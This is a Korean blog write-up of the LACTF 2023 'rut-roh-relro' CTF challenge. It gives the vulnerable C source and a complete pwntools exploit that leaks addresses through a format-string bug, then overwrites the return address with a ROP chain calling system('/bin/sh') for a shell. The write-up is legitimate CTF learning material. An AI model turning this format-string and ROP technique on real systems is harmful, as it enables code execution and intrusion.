Recent Posts
Recent Comments
Link
«   2024/11   »
1 2
3 4 5 6 7 8 9
10 11 12 13 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29 30
Tags
more
Archives
Today
Total
관리 메뉴

CIDY

[LACTF 2023] rut-roh-relro 본문

Hack/CTF

[LACTF 2023] rut-roh-relro

CIDY 2023. 2. 14. 18:31

 

#include <stdio.h>

int main(void) {
    setbuf(stdout, NULL); //system("/bin/sh")
    puts("What would you like to post?");
    char buf[512];
    fgets(buf, 512, stdin);
    printf("Here's your latest post:\n");
    printf(buf);
    printf("\nWhat would you like to post?\n");
    fgets(buf, 512, stdin);
    printf(buf);
    printf("\nYour free trial has expired. Bye!\n"); //printf -> main
    return 0;
}

코드가 매우 간단하다. 이것도 역시 fsb문제임.

mitigation

근데 이전 문제보다 살짝 더 어렵게 해놨음. 근데 사실 무제한 fsb == 무제한 릭이라 보호기법이 무의미하다. 대신 풀이가 좀 길어질수는 있음.

일단 fsb를 두 번 주니까 첫 번째에 립씨스택코드를 싹 릭했다. 여기서 로컬이랑 리모트 오프셋이 달라서 약간 애먹었는데,, 거의 다 맞췄는데 나중에 립씨 받아서 디버깅해보니까 립씨가 딱 0x3000어긋나있었다. 뒷자리 000이라 눈치도 못 챔,, 심지어 립씨는 + 0x3000인데 시스템은 - 0x3000이라 결국 상쇄돼서 립씨 데이터베이스에서 얻은 값이 맞았음;;; 역대급 어이없음,,,

암튼 그래서 pop rdi랑 ret랑 system이랑 binsh_str 다 구해서 모두 2바이트씩 나눠 덮어줬다. pop_rdi랑 ret은 1차이니까 4바이트는 같이 덮고 가장 하위 2바이트만 따로 덮어줌. hn으로 2바이트씩 덮기 때문에 초기화해주는 느낌으로다가 0x10000채워주면 됨. 그런식으로 좀 반복해서 스택의 ret부터 쭉 덮으면 된다.

from pwn import *

#p = process("./rut_roh_relro", env={"LD_PRELOAD":"./libc.so.6 "})
p = remote("lac.tf", 31134)
e = ELF("./rut_roh_relro")
libc = ELF("./libc.so.6")

pay = b""
pay += b"%71$p" + b"%72$p" + b"%74$p" #libc-stack-code
pause()
p.sendline(pay)

p.recvuntil(b"Here's your latest post:\n")
lsm = int(p.recvn(14), 16)
libc_base = lsm - 0x026d0a 
print(hex(libc_base))
stack = int(p.recvn(14), 16)
print(hex(stack))
main = int(p.recvn(14), 16)
code_base = main - e.sym['main']
print(hex(code_base))

ret = code_base + 0x1016
pop_rdi = code_base + 0x127b
system = libc_base + 0x048e50 
binsh = libc_base + next(libc.search(b"/bin/sh\x00")) + 0x3000
ret_addr = stack - 0xf0
print(hex(system))
print(hex(binsh))
#overwrite ret
ret_low = ret & 0xffff
ret_mid = (ret >> 16) & 0xffff
ret_high = (ret >> 32) & 0xffff

low = ret_low

if ret_mid > ret_low:
    mid = ret_mid - ret_low
else:
    mid = 0x10000 + ret_mid - ret_low

if ret_high > ret_mid:
    high = ret_high - ret_mid
else: 
    high = 0x10000 + ret_high - ret_mid

pay = b""
pay += f"%{low}c".encode()
pay += b"%38$hn"
pay += f"%{mid}c".encode()
pay += b"%39$hn"
pay += b"%42$hn"
pay += f"%{high}c".encode()
pay += b"%40$hn"
pay += b"%43$hn"
pay += f"%{0x10000 - ret_high}c".encode()

#overwrite pop_rdi
rdi_low = pop_rdi & 0xffff
pay += f"%{rdi_low}c".encode()
pay += b"%41$hn"
pay += f"%{0x10000 - rdi_low}c".encode() 

#overwrite system
system_low = system & 0xffff
system_mid = (system >> 16) & 0xffff
system_high = (system >> 32) & 0xffff

low = system_low

if system_mid > system_low:
    mid = system_mid - system_low
else:
    mid = 0x10000 + system_mid - system_low

if system_high > system_mid:
    high = system_high - system_mid
else: 
    high = 0x10000 + system_high - system_mid

pay += f"%{low}c".encode()
pay += b"%44$hn"
pay += f"%{mid}c".encode()
pay += b"%45$hn"
pay += f"%{high}c".encode()
pay += b"%46$hn"
pay += f"%{0x10000 - system_high}c".encode() 

#overwrite binsh
binsh_low = binsh & 0xffff
binsh_mid = (binsh >> 16) & 0xffff
binsh_high = (binsh >> 32) & 0xffff

low = binsh_low

if binsh_mid > binsh_low:
    mid = binsh_mid - binsh_low
else:
    mid = 0x10000 + binsh_mid - binsh_low

if binsh_high > binsh_mid:
    high = binsh_high - binsh_mid
else: 
    high = 0x10000 + binsh_high - binsh_mid

pay += f"%{low}c".encode()
pay += b"%47$hn"
pay += f"%{mid}c".encode()
pay += b"%48$hn"
pay += f"%{high}c".encode()
pay += b"%49$hn"

#final
pay = pay.ljust(0x100, b"A")
#ret
pay += p64(ret_addr + 0x10)
pay += p64(ret_addr + 0x12)
pay += p64(ret_addr + 0x14)
#pop_rdi
pay += p64(ret_addr + 0x0)
pay += p64(ret_addr + 0x2)
pay += p64(ret_addr + 0x4)
#system
pay += p64(ret_addr + 0x18)
pay += p64(ret_addr + 0x1a)
pay += p64(ret_addr + 0x1c)
#binsh
pay += p64(ret_addr + 0x8)
pay += p64(ret_addr + 0xa)
pay += p64(ret_addr + 0xc)
pause()
p.sendline(pay)

p.interactive()

 

flag

ez하다

'Hack > CTF' 카테고리의 다른 글

[MHSCTF 2023] Feb. 5 — Rescue Mission  (0) 2023.02.15
[MHSCTF 2023] Feb. 1 — Balloons  (0) 2023.02.15
[LACTF 2023] rickroll(Write-up)  (0) 2023.02.14
[CCE 2022] proximity(Write-up 작성중)  (0) 2023.02.10
[CCE 2022] byenance  (0) 2023.02.09